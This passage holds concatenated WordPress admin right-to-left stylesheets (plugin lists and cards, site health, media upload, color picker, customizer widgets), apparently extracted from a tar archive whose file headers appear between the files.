.dashicons, .plugins .plugin-title img.plugin-icon, .plugins .plugin-title img.updates-table-screenshot { float: right; padding: 0 0 0 10px; width: 64px; height: 64px; } .plugins .plugin-title .dashicons:before { padding: 2px; background-color: #f0f0f1; box-shadow: inset 0 0 10px rgba(167, 170, 173, 0.15); font-size: 60px; color: #c3c4c7; } #update-themes-table .plugin-title img.updates-table-screenshot, #update-themes-table .plugin-title .dashicons { width: 85px; } .plugins .column-auto-updates { width: 14.2em; } .plugins .inactive .plugin-title strong { font-weight: 400; } .plugins .second, .plugins .row-actions { padding: 0 0 5px; } .plugins .row-actions { white-space: normal; min-width: 12em; } .plugins .update .second, .plugins .update .row-actions, .plugins .updated .second, .plugins .updated .row-actions { padding-bottom: 0; } .plugins-php .widefat tfoot th, .plugins-php .widefat tfoot td { border-top-style: solid; border-top-width: 1px; } .plugins .plugin-update-tr .plugin-update { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); overflow: hidden; /* clearfix */ padding: 0; } .plugins .plugin-update-tr .notice, .plugins .plugin-update-tr div[class="update-message"] { /* back-compat for pre-4.6 */ margin: 5px 40px 15px 20px; } .plugins .notice p { margin: 0.5em 0; } .plugins .plugin-description a, .plugins .plugin-update a, .updates-table .plugin-title a { text-decoration: underline; } .plugins tr.paused th.check-column { border-right: 4px solid #b32d2e; } .plugins tr.paused th, .plugins tr.paused td { background-color: #f6f7f7; } .plugins tr.paused .plugin-title, .plugins .paused .dashicons-warning { color: #b32d2e; } .plugins .paused .error-display p, .plugins .paused .error-display code { font-size: 90%; color: rgba(0, 0, 0, 0.7); } .plugins .resume-link { color: #b32d2e; } .plugin-card .update-now:before { color: #d63638; content: "\f463"; content: "\f463" / ''; display: inline-block; font: normal 16px/1.875 dashicons; /* line-height 1.875 = 30px to match button */ margin: 0 -2px 0 5px; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: top; } .plugin-card .updating-message:before { content: "\f463"; content: "\f463" / ''; animation: rotation 2s infinite linear; } @keyframes rotation { 0% { transform: rotate(0deg); } 100% { transform: rotate(-359deg); } } .plugin-card .updated-message:before { color: #68de7c; content: "\f147"; content: "\f147" / ''; } .plugin-card .updated-message:before, .plugin-card .updating-message:before { line-height: 1; position: relative; top: -2px; vertical-align: middle; } .plugin-install-php #the-list { display: flex; flex-wrap: wrap; } .plugin-install-php .plugin-card { display: flex; flex-direction: column; justify-content: space-between; } .plugin-install-php h2 { clear: both; } .plugin-install-php h3 { margin: 2.5em 0 8px; } .plugin-install-php .wp-filter { margin-bottom: 0; } /* Plugin card table view */ .plugin-group { overflow: hidden; /* clearfix */ margin-top: 1.5em; } .plugin-group h3 { margin-top: 0; } .plugin-card { float: right; margin: 0 8px 16px; width: 48.5%; width: calc( 50% - 8px ); background-color: #ffffff; border: 1px solid rgb(0, 0, 0, 0.1); border-radius: 8px; box-sizing: border-box; overflow: hidden; } .plugin-card:nth-child(odd) { clear: both; margin-right: 0; } .plugin-card:nth-child(even) { margin-left: 0; } @media screen and (min-width: 1600px) and ( max-width: 2299px ) { .plugin-card { width: 30%; width: calc( 33.1% - 8px ); } .plugin-card:nth-child(odd) { clear: none; margin-right: 8px; } .plugin-card:nth-child(even) { margin-left: 8px; } .plugin-card:nth-child(3n+1) { clear: both; margin-right: 0; } .plugin-card:nth-child(3n) { margin-left: 0; } } @media screen and (min-width: 2300px) { .plugin-card { width: 25%; width: calc( 25% - 12px ); } .plugin-card:nth-child(odd) { clear: none; margin-right: 8px; } .plugin-card:nth-child(even) { margin-left: 8px; } .plugin-card:nth-child(4n+1) { clear: both; margin-right: 0; } .plugin-card:nth-child(4n) { margin-left: 0; } } .plugin-card-top { position: relative; padding: 16px; min-height: 135px; } div.action-links, .plugin-action-buttons { margin: 0; /* Override existing margins */ } .plugin-card h3 { margin: 0 0 16px 12px; font-size: 18px; line-height: 1.3; } .plugin-card .desc { margin-inline: 0; } .plugin-card .name, .plugin-card .desc > p { margin-right: 148px; } @media (min-width: 1101px) { .plugin-card .name, .plugin-card .desc > p { margin-left: 128px; } } @media (min-width: 481px) and (max-width: 781px) { .plugin-card .name, .plugin-card .desc > p { margin-left: 128px; } } .plugin-card .column-description { display: flex; flex-direction: column; justify-content: flex-start; } .plugin-card .column-description > p { margin-top: 0; } .plugin-card .column-description p:empty { display: none; } .plugin-card .notice.plugin-dependencies { margin: auto 20px 20px; padding: 15px; } .plugin-card .plugin-dependencies-explainer-text { margin-block: 0; } .plugin-card .plugin-dependency { align-items: center; display: flex; flex-wrap: wrap; margin-top: .5em; column-gap: 1%; row-gap: .5em; } .plugin-card .plugin-dependency:nth-child(2), .plugin-card .plugin-dependency:last-child { margin-top: 1em; } .plugin-card .plugin-dependency-name { flex-basis: 74%; } .plugin-card .plugin-dependency .more-details-link { margin-right: auto; } .rtl .plugin-card .plugin-dependency .more-details-link { margin-left: auto; } @media (max-width: 939px) { .plugin-card .plugin-dependency-name { flex-basis: 69%; } } .plugins #the-list .required-by, .plugins #the-list .requires { margin-top: 1em; } .plugin-card .action-links { position: absolute; top: 20px; left: 20px; width: 120px; } .plugin-action-buttons { clear: left; float: left; margin-bottom: 1em; text-align: left; } .plugin-action-buttons li { margin-bottom: 10px; } .plugin-card-bottom { clear: both; padding: 16px; background-color: #f6f7f7; border-top: 1px solid rgb(0, 0, 0, 0.1); overflow: hidden; } .plugin-card-bottom .star-rating { display: inline; } .plugin-card-update-failed .update-now { font-weight: 600; } .plugin-card-update-failed .notice-error { margin: 0; padding-right: 16px; box-shadow: 0 -1px 0 #dcdcde; } .plugin-card-update-failed .plugin-card-bottom { display: none; } .plugin-card .column-rating { line-height: 1.76923076; } .plugin-card .column-rating, .plugin-card .column-updated { margin-bottom: 4px; } .plugin-card .column-rating, .plugin-card .column-downloaded { float: right; clear: right; max-width: 180px; } .plugin-card .column-updated, .plugin-card .column-compatibility { text-align: left; float: left; clear: left; width: 65%; width: calc( 100% - 180px ); } .plugin-card .column-compatibility span:before { font: normal 20px/.5 dashicons; display: inline-block; padding: 0; top: 4px; right: -2px; position: relative; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #3c434a; } .plugin-card .column-compatibility .compatibility-incompatible:before { content: "\f158"; content: "\f158" / ''; color: #d63638; } .plugin-card .column-compatibility .compatibility-compatible:before { content: "\f147"; content: "\f147" / ''; color: #007017; } .plugin-card .notice { margin: 20px 20px 0; } .plugin-card .plugin-icon { position: absolute; top: 20px; right: 20px; width: 128px; height: 128px; margin: 0 0 20px 20px; } .no-plugin-results { color: #646970; /* same as no themes and no media */ font-size: 18px; font-style: normal; margin: 0; padding: 100px 0 0; width: 100%; text-align: center; } /* ms */ /* Background Color for Site Status */ .wp-list-table .site-deleted, .wp-list-table tr.site-deleted, .wp-list-table .site-archived, .wp-list-table tr.site-archived { background: #fcf0f1; } .wp-list-table .site-spammed, .wp-list-table tr.site-spammed, .wp-list-table .site-mature, .wp-list-table tr.site-mature { background: #fcf9e8; } .sites.fixed .column-lastupdated, .sites.fixed .column-registered { width: 20%; } .sites.fixed .column-users { width: 80px; } /* =Media Queries -------------------------------------------------------------- */ @media screen and (max-width: 1100px) and (min-width: 782px), (max-width: 480px) { .plugin-card .action-links { position: static; margin-right: 148px; width: auto; } .plugin-action-buttons { float: none; margin: 1em 0 0; text-align: right; } .plugin-action-buttons li { display: inline-block; vertical-align: middle; } .plugin-action-buttons li .button { margin-left: 20px; } .plugin-card h3 { margin-left: 24px; } .plugin-card .name, .plugin-card .desc { margin-left: 0; } .plugin-card .desc p:first-of-type { margin-top: 0; } } @media screen and (max-width: 782px) { /* WP List Table Options & Filters */ .tablenav { height: auto; } .tablenav.top { margin: 20px 0 5px; } .tablenav.bottom { position: relative; margin-top: 15px; } .tablenav br { display: none; } .tablenav br.clear { display: block; } .tablenav.top .actions, .tablenav .view-switch { display: none; } .view-switch a { width: 36px; height: 36px; line-height: 2.53846153; } /* Pagination */ .tablenav.top .displaying-num { display: none; } .tablenav.bottom .displaying-num { position: absolute; left: 0; top: 11px; margin: 0; font-size: 14px; } .tablenav .tablenav-pages { width: 100%; text-align: center; margin: 0 0 25px; } .tablenav.bottom .tablenav-pages { margin-top: 25px; } .tablenav.top .tablenav-pages.one-page { display: none; } .tablenav.bottom .actions select { margin-bottom: 5px; } .tablenav.bottom .actions.alignleft + .actions.alignleft { clear: right; margin-top: 10px; } .tablenav.bottom .tablenav-pages.one-page { margin-top: 15px; height: 0; } .tablenav-pages .pagination-links { font-size: 16px; } .tablenav .tablenav-pages .button, .tablenav .tablenav-pages .tablenav-pages-navspan { min-width: 40px; min-height: 40px; padding: 10px 8px; font-size: 18px; line-height: 1; } .tablenav-pages .pagination-links .current-page { min-width: 40px; padding: 10px 6px; font-size: 16px; line-height: 1.125; } /* WP List Table Adjustments: General */ .form-wrap > p { display: none; } .wp-list-table th.column-primary ~ th, .wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) { display: none; } .wp-list-table thead th.column-primary { width: 100%; } /* Checkboxes need to show */ .wp-list-table tr th.check-column { display: table-cell; } .wp-list-table .check-column { width: 2.5em; } .wp-list-table .column-primary .toggle-row { display: block; } .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column) { position: relative; clear: both; width: auto !important; /* needs to override some columns that are more specifically targeted */ } .wp-list-table td.column-primary { padding-left: 50px; /* space for toggle button */ } .wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) { padding: 3px 35% 3px 8px; } .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before { position: absolute; right: 10px; /* match padding of regular table cell */ display: block; overflow: hidden; width: 32%; /* leave a little space for a gutter */ content: attr(data-colname); white-space: nowrap; text-overflow: ellipsis; } .wp-list-table .is-expanded td:not(.hidden) { display: block !important; overflow: hidden; /* clearfix */ } /* Special cases */ .widefat .num, .column-posts { text-align: right; } #comments-form .fixed .column-author, #commentsdiv .fixed .column-author { display: none !important; } .fixed .column-comment .comment-author { display: block; } /* Comment author hidden via Screen Options */ .fixed .column-author.hidden ~ .column-comment .comment-author { display: none; } #the-comment-list .is-expanded td { box-shadow: none; } #the-comment-list .is-expanded td:last-child { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } /* Show comment bubble as text instead */ .post-com-count .screen-reader-text { position: static; clip-path: none; width: auto; height: auto; margin: 0; } .column-response .post-com-count-no-comments:after, .column-response .post-com-count-approved:after, .column-comments .post-com-count-no-comments:after, .column-comments .post-com-count-approved:after { content: none; } .column-response .post-com-count [aria-hidden="true"], .column-comments .post-com-count [aria-hidden="true"] { display: none; } .column-response .post-com-count-wrapper, .column-comments .post-com-count-wrapper { white-space: normal; } .column-response .post-com-count-wrapper > a, .column-comments .post-com-count-wrapper > a { display: block; } .column-response .post-com-count-no-comments, .column-response .post-com-count-approved, .column-comments .post-com-count-no-comments, .column-comments .post-com-count-approved { margin-top: 0; margin-left: 0.5em; } .column-response .post-com-count-pending, .column-comments .post-com-count-pending { position: static; height: auto; min-width: 0; padding: 0; border: none; border-radius: 0; background: none; color: #b32d2e; font-size: inherit; line-height: inherit; text-align: right; } .column-response .post-com-count-pending:hover, .column-comments .post-com-count-pending:hover { color: #d63638; } .widefat thead td.check-column, .widefat tfoot td.check-column { padding-top: 10px; } .row-actions { margin-left: -8px; padding-top: 4px; } /* Make row actions more easy to select on mobile */ body:not(.plugins-php) .row-actions { display: flex; flex-wrap: wrap; gap: 8px; color: transparent; } .row-actions span { font-size: 0; } .row-actions span a, .row-actions span .button-link { display: inline-block; padding: 4px 0 4px 16px; font-size: 13px; line-height: 1.5; } .row-actions span.approve:before, .row-actions span.unapprove:before { content: "| "; } /* Quick Edit and Bulk Edit */ #wpbody-content .quick-edit-row-post .inline-edit-col-left, #wpbody-content .quick-edit-row-post .inline-edit-col-right, #wpbody-content .inline-edit-row-post .inline-edit-col-center, #wpbody-content .quick-edit-row-page .inline-edit-col-left, #wpbody-content .quick-edit-row-page .inline-edit-col-right, #wpbody-content .bulk-edit-row-post .inline-edit-col-right, #wpbody-content .bulk-edit-row .inline-edit-col-left, #wpbody-content .bulk-edit-row-page .inline-edit-col-right, #wpbody-content .bulk-edit-row .inline-edit-col-bottom { float: none; width: 100%; padding: 0; } #the-list .inline-edit-row .inline-edit-legend, .inline-edit-row span.title { font-size: 16px; } .inline-edit-row p.howto { font-size: 14px; } #wpbody-content .inline-edit-row-page .inline-edit-col-right { margin-top: 0; } #wpbody-content .quick-edit-row fieldset .inline-edit-col label, #wpbody-content .quick-edit-row fieldset .inline-edit-group label, #wpbody-content .bulk-edit-row fieldset .inline-edit-col label, #wpbody-content .bulk-edit-row fieldset .inline-edit-group label { max-width: none; float: none; margin-bottom: 5px; } #wpbody .bulk-edit-row fieldset select { display: block; width: 100%; max-width: none; box-sizing: border-box; } .inline-edit-row select, .inline-edit-row input:where(:not([type=checkbox],[type=radio],[type=submit],[type=button])) { min-height: 40px; } .inline-edit-row fieldset input[name=jj], .inline-edit-row fieldset input[name=hh], .inline-edit-row fieldset input[name=mn], .inline-edit-row fieldset input[name=aa] { font-size: 16px; line-height: 2; padding: 3px 4px; } #bulk-titles .ntdelbutton, #bulk-titles .ntdeltitle, .inline-edit-row fieldset ul.cat-checklist label { padding: 6px 0; font-size: 16px; line-height: 28px; } #bulk-titles .ntdelitem { padding-right: 37px; } #bulk-titles .ntdelbutton { width: 40px; height: 40px; margin: 0 -40px 0 0; overflow: hidden; } #bulk-titles .ntdelbutton:before { font-size: 20px; line-height: 28px; } .inline-edit-row fieldset label span.title, .inline-edit-row fieldset.inline-edit-date legend { float: none; } .inline-edit-row fieldset .inline-edit-col label.inline-edit-tags { padding: 0; } .inline-edit-row fieldset label span.input-text-wrap, .inline-edit-row fieldset .timestamp-wrap { margin-right: 0; } .inline-edit-row .inline-edit-or { margin: 0 0 0 6px; } #edithead .inside, #commentsdiv #edithead .inside { float: none; text-align: right; padding: 3px 5px; } #commentsdiv #edithead .inside input, #edithead .inside input { width: 100%; } #edithead label { display: block; } /* Updates */ #wpbody-content .updates-table .plugin-title { width: auto; white-space: normal; } /* Links */ .link-manager-php #posts-filter { margin-top: 25px; } .link-manager-php .tablenav.bottom { overflow: hidden; } /* List tables that don't toggle rows */ .comments-box .toggle-row, .wp-list-table.plugins .toggle-row { display: none; } /* Plugin/Theme Management */ #wpbody-content .wp-list-table.plugins td { display: block; width: auto; padding: 10px 9px; /* reset from other list tables that have a label at this width */ } #wpbody-content .wp-list-table.plugins .plugin-deleted-tr td, #wpbody-content .wp-list-table.plugins .no-items td { display: table-cell; } /* Plugin description hidden via Screen Options */ #wpbody-content .wp-list-table.plugins .desc.hidden { display: none; } #wpbody-content .wp-list-table.plugins .column-description { padding-top: 2px; } #wpbody-content .wp-list-table.plugins .plugin-title, #wpbody-content .wp-list-table.plugins .theme-title { padding-left: 12px; white-space: normal; } .wp-list-table.plugins .plugin-title, .wp-list-table.plugins .theme-title { padding-top: 13px; padding-bottom: 4px; } .plugins #the-list tr > td:not(:last-child), .plugins #the-list .update th, .plugins #the-list .update td, .wp-list-table.plugins #the-list .theme-title { box-shadow: none; border-top: none; } .plugins #the-list tr td { border-top: none; } .plugins tbody { padding: 1px 0 0; } .plugins tr.active + tr.inactive th.check-column, .plugins tr.active + tr.inactive td.column-description, .plugins .plugin-update-tr:before { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .plugins tr.active + tr.inactive th.check-column, .plugins tr.active + tr.inactive td { border-top: none; } /* mimic the checkbox th */ .plugins .plugin-update-tr:before { content: ""; display: table-cell; } .plugins #the-list .plugin-update-tr .plugin-update { border-right: none; } .plugin-update-tr .update-message { margin-right: 0; } .plugins .active.update + .plugin-update-tr:before, .plugins .active.updated + .plugin-update-tr:before { background-color: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-right: 4px solid var(--wp-admin-theme-color); } .plugins .plugin-update-tr .update-message { margin-right: 0; } .wp-list-table.plugins .plugin-title strong, .wp-list-table.plugins .theme-title strong { font-size: 1.4em; line-height: 1.5; } .plugins tbody th.check-column { padding: 8px 5px 0 0; } .plugins thead td.check-column, .plugins tfoot td.check-column, .plugins .inactive th.check-column { padding-right: 9px; } /* Add New plugins page */ table.plugin-install .column-name, table.plugin-install .column-version, table.plugin-install .column-rating, table.plugin-install .column-description { display: block; width: auto; } table.plugin-install th.column-name, table.plugin-install th.column-version, table.plugin-install th.column-rating, table.plugin-install th.column-description { display: none; } table.plugin-install td.column-name strong { font-size: 1.4em; line-height: 1.6em; } table.plugin-install #the-list td { box-shadow: none; } table.plugin-install #the-list tr { display: block; box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .plugin-card { margin-right: 0; margin-left: 0; width: 100%; } table.media .column-title .has-media-icon ~ .row-actions { margin-right: 0; clear: both; } } @media screen and (max-width: 480px) { .tablenav-pages .current-page { margin: 0; } .tablenav.bottom .displaying-num { position: relative; top: 0; display: block; text-align: left; padding-bottom: 0.5em; } .tablenav.bottom .tablenav-pages.one-page { height: auto; } .tablenav-pages .tablenav-paging-text { float: right; width: 100%; padding-top: 0.5em; } } css/site-health-rtl.css 0000644 00000014547 15233246127 0011074 0 ustar 00 /*! This file is auto-generated */ /* Note: Any Site Health selectors that use duplicate styling from the Privacy settings screen are styled in the Privacy section of edit.css */ .health-check-body h2 { line-height: 1.4; } .health-check-body h3 { padding: 0; font-weight: 400; } .site-health-progress-wrapper { margin-bottom: 1rem; } .site-health-progress { display: inline-block; height: 20px; width: 20px; margin: 0; border-radius: 100%; position: relative; font-weight: 600; font-size: 0.4rem; } .site-health-progress-count { position: absolute; display: block; height: 80px; width: 80px; right: 50%; top: 50%; margin-top: -40px; margin-right: -40px; border-radius: 100%; line-height: 6.3; font-size: 2em; } .loading .site-health-progress svg #bar { stroke-dashoffset: 0; stroke: #c3c4c7; animation: loadingPulse 3s infinite ease-in-out; } .site-health-progress svg circle { stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; stroke: #c3c4c7; stroke-width: 2em; } .site-health-progress svg #bar { stroke-dashoffset: 565; stroke: #d63638; } .green .site-health-progress #bar { stroke: #00a32a; } .green .site-health-progress .site-health-progress-label { color: #00a32a; } .orange .site-health-progress #bar { stroke: #dba617; } .orange .site-health-progress .site-health-progress-label { color: #dba617; } .site-health-progress-label { font-weight: 600; line-height: 20px; margin-right: 0.3rem; } @keyframes loadingPulse { 0% { stroke: #c3c4c7; } 50% { stroke: var(--wp-admin-theme-color); } 100% { stroke: #c3c4c7; } } .health-check-tabs-wrapper { /* IE 11 */ display: -ms-inline-grid; -ms-grid-columns: 1fr 1fr 1fr 1fr; vertical-align: top; /* modern browsers */ display: inline-grid; grid-template-columns: 1fr 1fr 1fr 1fr; } .health-check-tabs-wrapper.tab-count-1 { grid-template-columns: 1fr; } .health-check-tabs-wrapper.tab-count-2 { grid-template-columns: 1fr 1fr; } .health-check-tabs-wrapper.tab-count-3 { grid-template-columns: 1fr 1fr 1fr; } .health-check-tab { display: block; /* IE 11 */ text-decoration: none; color: inherit; padding: 0.5rem 1rem 1rem; margin: 0 1rem; transition: box-shadow 0.5s ease-in-out; } .health-check-offscreen-nav-wrapper { position: relative; background: transparent; border: none; } .health-check-offscreen-nav-wrapper:focus .health-check-offscreen-nav { right: initial; } .health-check-offscreen-nav { display: none; position: absolute; padding-top: 10px; left: 0; top: 100%; width: 13rem; } .health-check-offscreen-nav-wrapper.visible .health-check-offscreen-nav { display: inline-block; } .health-check-offscreen-nav:before { position: absolute; content: ""; width: 0; height: 0; border-style: solid; border-width: 0 10px 5px; border-color: transparent transparent #ffffff; left: 20px; top: 5px; } .health-check-offscreen-nav .health-check-tab { background: #fff; box-shadow: 0 2px 5px 0 rgba( 0, 0, 0, 0.75 ); } .health-check-offscreen-nav .health-check-tab.active { box-shadow: inset -3px 0 #3582c4; font-weight: 600; } .health-check-body { max-width: 800px; margin: 0 auto; } .widefat.health-check-table th { font-size: 13px; } .health-check-table td:first-child { width: 30%; } .health-check-table td { width: 70%; } .health-check-table ul, .health-check-table ol { margin: 0; } .health-check-body li { line-height: 1.5; } .health-check-body .pass::before, .health-check-body .good::before { content: "\f147"; content: "\f147" / ''; color: #00a32a; } .health-check-body .warning::before { content: "\f460"; content: "\f460" / ''; color: #dba617; } .health-check-body .info::before { content: "\f348"; content: "\f348" / ''; color: #72aee6; } .health-check-body .fail::before, .health-check-body .error::before { content: "\f335"; content: "\f335" / ''; color: #d63638; } .site-health-copy-buttons { margin: 1rem 0; } .site-health-copy-buttons .copy-button-wrapper { display: inline-flex; align-items: center; margin: 0.5rem 0 1rem; } .site-health-copy-buttons .success { color: #007017; margin-right: 0.5rem; } .site-status-has-issues.hide { display: none; } .site-health-view-more { text-align: center; } .site-health-issues-wrapper:first-of-type { margin-top: 3rem; } .site-health-issues-wrapper { margin-bottom: 3rem; margin-top: 2rem; } .site-status-all-clear { display: flex; flex-direction: column; align-items: center; justify-content: center; text-align: center; height: 100%; width: 100%; margin: 0 0 3rem; } @media all and (min-width: 784px) { .site-status-all-clear { margin: 2rem 0 5rem; } } .site-status-all-clear.hide { display: none; } .site-status-all-clear .dashicons { font-size: 150px; height: 150px; margin-bottom: 2rem; width: 150px; } .site-status-all-clear .encouragement { font-size: 1.5rem; font-weight: 600; } .site-status-all-clear p { margin: 0; } .wp-core-ui .button.site-health-view-passed { position: relative; padding-left: 40px; padding-right: 20px; } .health-check-wp-paths-sizes.spinner { visibility: visible; float: none; margin: 0 4px; flex-shrink: 0; } /* Styling unique to the dashboard widget. */ #dashboard_site_health .site-health-details { padding-right: 16px; } #dashboard_site_health .site-health-details p:first-child { margin-top: 0; } #dashboard_site_health .site-health-details p:last-child { margin-bottom: 0; } #dashboard_site_health .health-check-widget { display: grid; grid-template-columns: 1fr 2fr; grid-auto-rows: minmax(64px, auto); column-gap: 16px; align-items: center; } #dashboard_site_health .site-health-progress-label { margin-right: 0; } .health-check-widget-title-section { margin-bottom: 0; text-align: center; } @media screen and (max-width: 480px) { #dashboard_site_health .health-check-widget { grid-template-columns: 100%; } } @media screen and (max-width: 782px) { .site-health-issues-wrapper .health-check-accordion-trigger { flex-direction: column; align-items: flex-start; } .health-check-accordion-trigger .badge { margin: 1em 0 0; } .health-check-table { table-layout: fixed; } .health-check-table th, .health-check-table td { box-sizing: border-box; display: block; width: 100%; word-wrap: break-word; } .widefat.health-check-table th, .health-check-table td:first-child { width: 100%; padding-bottom: 0; font-weight: 600; } .wp-core-ui .site-health-copy-buttons .copy-button { margin-bottom: 0; } } css/deprecated-media-rtl.min.css 0000644 00000012571 15233246127 0012617 0 ustar 00 /*! This file is auto-generated */ div#media-upload-header{margin:0;padding:5px 5px 0;font-weight:600;position:relative;border-bottom:1px solid #dcdcde;background:#f6f7f7}#sidemenu{overflow:hidden;float:none;position:relative;right:0;bottom:-1px;margin:0 5px;padding-right:10px;list-style:none;font-size:12px;font-weight:400}#sidemenu a{padding:0 7px;display:block;float:right;line-height:28px;border-top:1px solid #f6f7f7;border-bottom:1px solid #dcdcde;background-color:#f6f7f7;text-decoration:none;transition:none}#sidemenu li{display:inline;line-height:200%;list-style:none;text-align:center;white-space:nowrap;margin:0;padding:0}#sidemenu a.current{font-weight:400;padding-right:6px;padding-left:6px;border:1px solid #dcdcde;border-bottom-color:#f0f0f1;background-color:#f0f0f1;color:#000}#media-upload:after{content:"";display:table;clear:both}#media-upload .slidetoggle{border-top-color:#dcdcde}#media-upload input[type=radio]{padding:0}.media-upload-form label.form-help,td.help{color:#646970}form{margin:1em}#search-filter{text-align:left}th{position:relative}.media-upload-form label.form-help,td.help{font-family:sans-serif;font-style:italic;font-weight:400}.media-upload-form p.help{margin:0;padding:0}.media-upload-form fieldset{width:100%;border:none;text-align:justify;margin:0 0 1em;padding:0}.image-align-none-label{background:url(../images/align-none.png) no-repeat center right}.image-align-left-label{background:url(../images/align-left.png) no-repeat center right}.image-align-center-label{background:url(../images/align-center.png) no-repeat center right}.image-align-right-label{background:url(../images/align-right.png) no-repeat center right}tr.image-size td{width:460px}tr.image-size div.image-size-item{margin:0 0 5px}#gallery-form .progress,#library-form .progress,.describe.startclosed,.describe.startopen,.insert-gallery{display:none}.media-item .thumbnail{max-width:128px;max-height:128px}thead.media-item-info tr{background-color:transparent}.form-table thead.media-item-info{border:8px solid #fff}abbr.required,span.required{text-decoration:none;border:none}.describe label{display:inline}.describe td.error{padding:2px 8px}.describe td.A1{width:132px}.describe input[type=text],.describe textarea{width:460px;border-width:1px;border-style:solid}#media-upload p.ml-submit{padding:1em 0}#media-upload label.help,#media-upload p.help{font-family:sans-serif;font-style:italic;font-weight:400}#media-upload .ui-sortable .media-item{cursor:move}#media-upload tr.image-size{margin-bottom:1em;height:3em}#media-upload #filter{width:623px}#media-upload #filter .subsubsub{margin:8px 0}#media-upload .tablenav-pages .current,#media-upload .tablenav-pages a{display:inline-block;padding:4px 5px 6px;font-size:16px;line-height:1;text-align:center;text-decoration:none}#media-upload .tablenav-pages a{min-width:17px;border:1px solid #c3c4c7;background:#f6f7f7}#filter .tablenav select{border-style:solid;border-width:1px;padding:2px;vertical-align:top;width:auto}#media-upload .del-attachment{display:none;margin:5px 0}.menu_order{float:left;font-size:11px;margin:8px 10px 0}.menu_order_input{border:1px solid #dcdcde;font-size:10px;padding:1px;width:23px}.ui-sortable-helper{background-color:#fff;border:1px solid #a7aaad;opacity:.6}#media-upload th.order-head{width:20%;text-align:center}#media-upload th.actions-head{width:25%;text-align:center}#media-upload a.wp-post-thumbnail{margin:0 20px}#media-upload .widefat{border-style:solid solid none}.sorthelper{height:37px;width:623px;display:block}#gallery-settings th.label{width:160px}#gallery-settings #basic th.label{padding:5px 0 5px 5px}#gallery-settings .title{clear:both;padding:0 0 3px;font-size:1.6em;border-bottom:1px solid #dcdcde}h3.media-title{font-size:1.6em}h4.media-sub-title{border-bottom:1px solid #dcdcde;font-size:1.3em;margin:12px;padding:0 0 3px}#gallery-settings .title,h3.media-title,h4.media-sub-title{font-family:Georgia,"Times New Roman",Times,serif;font-weight:400;color:#50575e}#gallery-settings .describe td{vertical-align:middle;height:3em}#gallery-settings .describe th.label{padding-top:.5em;text-align:right}#gallery-settings .describe{padding:5px;width:100%;clear:both;cursor:default;background:#fff}#gallery-settings .describe select{width:15em}#gallery-settings .describe select option,#gallery-settings .describe td{padding:0}#gallery-settings label,#gallery-settings legend{font-size:13px;color:#3c434a;margin-left:15px}#gallery-settings .align .field label{margin:0 3px 0 1em}#gallery-settings p.ml-submit{border-top:1px solid #dcdcde}#gallery-settings select#columns{width:6em}#sort-buttons{font-size:.8em;margin:3px 0 -8px 25px;text-align:left;max-width:625px}#sort-buttons a{text-decoration:none}#sort-buttons #asc,#sort-buttons #showall{padding-right:5px}#sort-buttons span{margin-left:25px}p.media-types{margin:0;padding:1em}p.media-types-required-info{padding-top:0}tr.not-image{display:none}table.not-image tr.not-image{display:table-row}table.not-image tr.image-only{display:none}@media print,(min-resolution:120dpi){.image-align-none-label{background-image:url(../images/align-none-2x.png?ver=20120916);background-size:21px 15px}.image-align-left-label{background-image:url(../images/align-left-2x.png?ver=20120916);background-size:22px 15px}.image-align-center-label{background-image:url(../images/align-center-2x.png?ver=20120916);background-size:21px 15px}.image-align-right-label{background-image:url(../images/align-right-2x.png?ver=20120916);background-size:22px 15px}} css/farbtastic.min.css 0000644 00000001031 15233246127 0010752 0 ustar 00 /*! This file is auto-generated */ .farbtastic{position:relative}.farbtastic *{position:absolute;cursor:crosshair}.farbtastic,.farbtastic .wheel{width:195px;height:195px}.farbtastic .color,.farbtastic .overlay{top:47px;left:47px;width:101px;height:101px}.farbtastic .wheel{background:url(../images/wheel.png) no-repeat;width:195px;height:195px}.farbtastic .overlay{background:url(../images/mask.png) no-repeat}.farbtastic .marker{width:17px;height:17px;margin:-8px 0 0 -8px;overflow:hidden;background:url(../images/marker.png) no-repeat} css/customize-widgets-rtl.css 0000644 00000032432 15233246127 0012344 0 ustar 00 /*! This file is auto-generated */ .wp-full-overlay-sidebar { overflow: visible; } /** * Hide all sidebar sections by default, only show them (via JS) once the * preview loads and we know whether the sidebars are used in the template. */ .control-section.control-section-sidebar, .customize-control-sidebar_widgets label, .customize-control-sidebar_widgets .hide-if-js { /* The link in .customize-control-sidebar_widgets .hide-if-js will fail if it ever gets used. */ display: none; } .control-section.control-section-sidebar .accordion-section-content.ui-sortable { overflow: visible; } /* Note: widget-tops are more compact when (max-height: 700px) and (min-width: 981px). */ .customize-control-widget_form .widget-top { background: #fff; transition: opacity 0.5s; } .customize-control .widget-action { color: #787c82; } .customize-control .widget-top:hover .widget-action, .customize-control .widget-action:focus { color: #1d2327; } .customize-control-widget_form:not(.widget-rendered) .widget-top { opacity: 0.5; } .customize-control-widget_form .widget-control-save { display: none; } .customize-control-widget_form .spinner { visibility: hidden; margin-top: 0; } .customize-control-widget_form.previewer-loading .spinner { visibility: visible; } .customize-control-widget_form.widget-form-disabled .widget-content { opacity: 0.7; pointer-events: none; -webkit-user-select: none; user-select: none; } .customize-control-widget_form .widget { margin-bottom: 0; } .customize-control-widget_form.wide-widget-control .widget-inside { position: fixed; right: 299px; top: 25%; border: 1px solid #dcdcde; overflow: auto; } .customize-control-widget_form.wide-widget-control .widget-inside > .form { padding: 20px; } .customize-control-widget_form.wide-widget-control .widget-top { transition: background-color 0.4s; } .customize-control-widget_form.wide-widget-control.expanding .widget-top, .customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top { background-color: #dcdcde; } .widget-inside { padding: 1px 10px 10px; border-top: none; line-height: 1.23076923; } .customize-control-widget_form.expanded 